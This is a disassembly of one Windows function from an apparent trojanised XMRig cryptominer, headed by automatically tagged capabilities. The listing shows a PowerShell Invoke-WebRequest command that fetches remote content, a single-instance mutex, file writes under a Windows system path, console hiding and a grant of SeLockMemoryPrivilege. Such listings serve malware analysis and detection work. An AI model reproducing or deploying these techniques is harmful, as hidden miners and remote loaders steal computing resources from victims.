Function at 0x1400e9e50
Capabilities:
Check mutex on windows
Manipulate user privileges
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x808]
sub rsp, 0x8e0
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14014b1f8]
xor rax, rsp
mov qword [rbp + 0x7d0], rax
mov r14, rdx
mov r13d, ecx
mov dword [rsp + 0x48], ecx
xor ecx, ecx
call fcn.1400b40f8
mov rcx, rax
call fcn.1400b2b0c
xor edx, edx
mov r8d, 0x7d0
lea rcx, [rbp]
call fcn.1400aaf50
mov edx, 0xc
lea rcx, [0x14012c44f]
call fcn.1400ea970
mov r8, rax
lea rdx, str.powershell.exe__command__Invoke_WebRequest__https:__raw.githubusercontent.com____
lea rcx, [rbp]
call fcn.140013fc0
lea rcx, [rbp]
call fcn.1400ea880
lea r8, str.sfdkjjhgkdsfhgjkjjsd
mov esi, 1
mov edx, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400e9f40
call fcn.1400b2ae0
mov r8d, eax
mov eax, 0x68db8bad
imul r8d
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2710
sub r8d, ecx
imul ecx, r8d, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jmp 0x1400ea842
lea rdx, [0x14012d0ac]
mov rcx, qword [r14]
call fcn.1400b3714
mov rdi, rax
mov r12d, 2
mov r8d, r12d
xor edx, edx
mov rcx, rax
call fcn.1400b3d88
mov rcx, rdi
call fcn.1400b357c
movsxd rbx, eax
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.1400b3d88
mov rcx, rbx
call fcn.1400ad9b4
mov r15, rax
mov qword [rsp + 0x50], rax
mov r9, rdi
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call fcn.1400b43c8
mov rcx, rdi
call fcn.1400b3b14
mov ecx, dword [rbx + r15 - 8]
mov edx, dword [rbx + r15 - 4]
mov dword [rsp + 0x60], edx
dec ecx
mov dword [rsp + 0x64], ecx
mov dword [rsp + 0x40], 0
test edx, edx
jle 0x1400ea0a1
mov r15d, 0xfd
mov r12, qword [rsp + 0x50]
mov r13d, ebx
test ecx, ecx
js 0x1400ea096
mov edx, 8
lea rcx, str.C:WindowsSystem_
call fcn.1400ea970
mov rdi, rax
lea rdx, [0x14012d08c]
mov rcx, rax
call fcn.1400b3714
mov rbx, rax
lea ecx, [r13 - 0x100]
movsxd r8, ecx
sub r8, 8
mov r9, rax
mov rdx, rsi
mov rcx, r12
call fcn.1400b3fe0
movsxd rdx, r15d
lea rcx, [0x14012c45b]
call fcn.1400ea970
mov rcx, rax
mov rdx, rbx
call fcn.1400adfac
mov r9, rbx
mov r8, rsi
mov edx, 4
lea rcx, [rsp + 0x64]
call fcn.1400b3fe0
mov r9, rbx
mov r8, rsi
mov edx, 4
lea rcx, [rsp + 0x60]
call fcn.1400b3fe0
mov rcx, rbx
call fcn.1400b3b14
mov rcx, rdi
call fcn.1400ea880
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
add r15d, 0xfd
cmp eax, dword [rsp + 0x60]
jge 0x1400ea096
mov ecx, dword [rsp + 0x64]
jmp 0x1400e9fd8
mov r12d, 2
mov r13d, dword [rsp + 0x48]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x50], rax
mov qword [rbp - 0x68], r14
mov dword [rbp - 0x60], r13d
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], 0
movsxd rdi, r13d
xor r13d, r13d
mov ebx, r13d
test rdi, rdi
je 0x1400ea0e5
mov rdx, qword [r14 + rbx*8]
lea rcx, [rbp - 0x68]
call fcn.1400e1a60
inc rbx
cmp rbx, rdi
jb 0x1400ea0d0
call fcn.14008a674
mov rcx, rax
movabs rax, 0x346dc5d63886594b
imul rcx
sar rdx, 0xb
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
lea rax, [rbp - 0x68]
xor ecx, eax
call fcn.1400b2b0c
nop
lea rcx, [rbp - 0x68]
call fcn.1400da130
test eax, eax
je 0x1400ea364
sub eax, 1
je 0x1400ea34d
sub eax, 1
je 0x1400ea2f3
cmp eax, 1
jne 0x1400ea35c
mov ecx, 0x208
call fcn.14008c6bc
mov rbx, rax
test rax, rax
je 0x1400ea164
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call fcn.1400aaf50
jmp 0x1400ea167
mov rbx, r13
test rbx, rbx
je 0x1400ea209
mov ecx, 0x410
call qword [fcn.1400ad9b4]
mov rdi, rax
test rax, rax
jne 0x1400ea18d
mov ecx, 0xfffff027
jmp 0x1400ea20e
mov r8d, 0x208
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jle 0x1400ea1dc
cdqe
mov word [rdi + rax*2], r13w
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x208
mov qword [rsp + 0x20], rbx
mov r9d, 0xffffffff
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
test eax, eax
jne 0x1400ea1f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, rdi
call fcn.140067840
mov ecx, esi
call fcn.14006ef30
mov ecx, eax
jmp 0x1400ea20e
mov rcx, rdi
call fcn.140067840
mov ecx, r13d
lea eax, [rsi - 1]
cdqe
jmp 0x1400ea213
mov ecx, 0xfffff019
mov eax, 0x208
test ecx, ecx
cmovs rax, r13
mov rcx, rbx
test rax, rax
jne 0x1400ea22b
call fcn.14008c1d0
mov rbx, r13
jmp 0x1400ea290
mov edx, 0x5c
call fcn.1400aa3f0
mov rdx, rax
test rax, rax
jne 0x1400ea24a
mov rcx, rbx
call fcn.14008c1d0
mov rbx, r13
jmp 0x1400ea290
sub rdx, rbx
lea rax, [rdx + 0xe]
cmp rax, 0x208
jb 0x1400ea266
mov rcx, rbx
call fcn.14008c1d0
mov rbx, r13
jmp 0x1400ea290
mov byte [rdx + rbx], 0x5c
lea rcx, str.topology.xml
sub rdx, rcx
lea r8, [rdx + rbx]
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [r8 + rcx + 1], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400ea280
lea rcx, [rsp + 0x48]
call fcn.1400749e0
mov rcx, qword [rsp + 0x48]
call fcn.1400749f0
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x48]
call fcn.14007b510
cmp eax, 0xffffffff
jne 0x1400ea2c7
lea rcx, str.failed_to_export_hwloc_topology._n
call fcn.140005bf0
jmp 0x1400ea2d6
mov rdx, rbx
lea rcx, str.hwloc_topology_successfully_exported_to___s__n
call fcn.140005bf0
mov rcx, qword [rsp + 0x48]
call fcn.1400748a0
mov rcx, rbx
call fcn.14008c1d0
mov esi, r13d
mov r12d, r13d
jmp 0x1400ea836
lea rcx, str.__n_built_on_Aug_24_2019_with_MSVC
call fcn.140005bf0
mov edx, 0x7e3
lea rcx, [0x14012c58c]
call fcn.140005bf0
lea rcx, str._n_features:_64_bit_AES_n
call fcn.140005bf0
lea rdx, str.1.31.0
lea rcx, str._nlibuv__s_n
call fcn.140005bf0
lea rdx, str.2.0.4
lea rcx, str.hwloc__s_n
call fcn.140005bf0
mov esi, r13d
mov r12d, r13d
jmp 0x1400ea836
lea rcx, [0x14012c61c]
call fcn.140005bf0
mov esi, r13d
mov r12d, esi
jmp 0x1400ea836
lea rax, vtable.xmrig::App.1.0
mov qword [rsp + 0x70], rax
lea rax, vtable.xmrig::App.0
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x70], r13
mov ecx, 0x20
call fcn.14008c194
mov rbx, rax
mov qword [rsp + 0x50], rax
lea rax, vtable.xmrig::Base.0
mov qword [rbx], rax
mov ecx, 0x30
call fcn.14008c194
mov qword [rsp + 0x50], rax
mov qword [rax], r13
mov qword [rax + 8], r13
lea rcx, [rbp - 0x68]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r13
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], r13
mov qword [rbx + 8], rax
lea rax, vtable.xmrig::Controller.0
mov qword [rbx], rax
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
mov qword [rbp - 0x78], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x18]
lea rdi, [0x1401519c0]
mov rdx, qword [rbp - 0x78]
test eax, eax
jne 0x1400ea4a2
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
cmp byte [rcx + 9], 0
jne 0x1400ea4a2
mov ecx, 0x18
call fcn.14008c194
mov rbx, rax
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rbx + 8], rax
mov ecx, 0x158
call fcn.14008c194
mov qword [rbx + 0x10], rax
mov qword [rax], rbx
mov rcx, qword [0x140151990]
test rcx, rcx
jne 0x1400ea462
call fcn.14006b480
test eax, eax
je 0x1400ea458
mov rcx, r13
jmp 0x1400ea462
mov qword [0x140151990], rdi
mov rcx, rdi
xor r8d, r8d
mov rdx, qword [rbx + 0x10]
call fcn.1400634f0
mov rcx, qword [rbx + 0x10]
test dword [rcx + 0x58], 0x4000
je 0x1400ea49a
mov edx, esi
call fcn.1400638c0
lea r8, [0x1400d5ae0]
lea rdx, [0x1400d5b20]
mov rcx, qword [rbx + 0x10]
call fcn.140067520
nop
mov qword [rbp - 0x80], rbx
mov rdx, qword [rbp - 0x78]
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + select]
test al, al
je 0x1400ea7b8
mov ecx, 0x20
call fcn.14008c194
mov r15, rax
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x78]
mov qword [r15], rax
lea r14, [r15 + 8]
mov rdi, r13
lea r12, [0x1401519c0]
lea rsi, [0x14012d000]
mov ecx, 0x108
call fcn.14008c194
mov rbx, rax
mov qword [rax], r15
mov qword [r14], rax
mov rdx, qword [0x140151990]
test rdx, rdx
jne 0x1400ea519
call fcn.14006b480
test eax, eax
je 0x1400ea50f
mov rdx, r13
jmp 0x1400ea519
mov qword [0x140151990], r12
mov rdx, r12
mov qword [rbx + 8], rdx
mov dword [rbx + select], 0x10
mov dword [rbx + 0x58], 8
lea rcx, [rbx + 0x20]
lea rax, [rdx + 0x10]
mov qword [rcx], rax
mov rax, qword [rdx + 0x18]
mov qword [rbx + 0x28], rax
mov qword [rax], rcx
mov qword [rdx + 0x18], rcx
mov dword [rbx + 0x30], 0xffffffff
mov dword [rbx + 0x100], r13d
mov dword [rbx + 0x68], r13d
mov qword [rbx + 0x60], r13
mov dword [rbx + 0x98], select
mov qword [rbx + 0xd0], r13
mov qword [rbx + 0x90], rbx
mov r8d, dword [rdi + rsi]
mov rcx, rbx
call fcn.140068810
add rdi, 4
add r14, 8
cmp rdi, 0xc
jb 0x1400ea4e2
mov qword [rbp - 0x70], r15
mov rax, qword [rbp - 0x78]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
cmp byte [rax + 9], 0
mov esi, 1
lea r12d, [rsi + 1]
je 0x1400ea5e2
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x1400ea5c8
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
jmp 0x1400ea5e2
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov rax, qword [rbp - 0x78]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
cmp byte [rax + 0xa1], 0
je 0x1400ea731
mov dword [0x140150334], r12d
call fcn.1400eb5f0
test eax, eax
jne 0x1400ea72b
mov rbx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x48]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp eax, esi
jne 0x1400ea731
mov dword [rsp + 0x40], r13d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, esi
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov r9d, dword [rsp + 0x40]
test r9d, r9d
je 0x1400ea675
mov edx, r9d
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov r9d, dword [rsp + 0x40]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov edx, esi
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x1400ea731
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
mov edi, r13d
lea r9, [rsp + 0x68]
mov r8d, 0xf0fff
lea rdx, [rbp - 0x38]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LsaOpenPolicy]
test eax, eax
jne 0x1400ea715
lea rax, str.SeLockMemoryPrivilege
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], 0x2c002a
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
mov r9d, esi
lea r8, [rsp + 0x50]
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_LsaAddAccountRights]
test eax, eax
cmove edi, esi
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_LsaClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
test edi, edi
je 0x1400ea731
call fcn.1400eb5f0
test eax, eax
je 0x1400ea731
or dword [0x140150334], esi
mov rax, qword [rbp - 0x78]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
cmp byte [rax + 0xa], 0
je 0x1400ea748
mov r12d, r13d
jmp 0x1400ea7b8
mov rcx, qword [rbp - 0x78]
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, qword [0x140151990]
test rcx, rcx
je 0x1400ea767
lea rdi, [0x1401519c0]
jmp 0x1400ea786
call fcn.14006b480
lea rdi, [0x1401519c0]
test eax, eax
je 0x1400ea77c
mov rcx, r13
jmp 0x1400ea786
mov qword [0x140151990], rdi
mov rcx, rdi
call fcn.14006bc40
mov r12d, eax
mov rcx, qword [0x140151990]
test rcx, rcx
jne 0x1400ea7b2
call fcn.14006b480
test eax, eax
je 0x1400ea7a8
mov rcx, r13
jmp 0x1400ea7b2
mov qword [0x140151990], rdi
mov rcx, rdi
call fcn.140067a50
nop
lea rax, vtable.xmrig::App.1.0
mov qword [rsp + 0x70], rax
lea rax, vtable.xmrig::App.0
mov qword [rsp + 0x78], rax
mov rbx, qword [rbp - 0x70]
test rbx, rbx
je 0x1400ea7ef
mov rcx, rbx
call fcn.1400da9c0
nop
mov edx, 0x20
mov rcx, rbx
call fcn.14008c1d0
mov rbx, qword [rbp - 0x80]
test rbx, rbx
je 0x1400ea824
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400ea813
test byte [rcx + 0x58], 3
jne 0x1400ea813
lea rdx, [0x140001340]
call fcn.140062fd0
mov qword [rbx + 0x10], r13
mov edx, 0x18
mov rcx, rbx
call fcn.14008c1d0
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1400ea836
mov r8, qword [rcx]
mov edx, esi
call qword [r8]
nop
lea rcx, [rbp - 0x58]
call fcn.140005ca0
mov eax, r12d
mov rcx, qword [rbp + 0x7d0]
xor rcx, rsp
call fcn.14008c170
lea r11, [rsp + 0x8e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret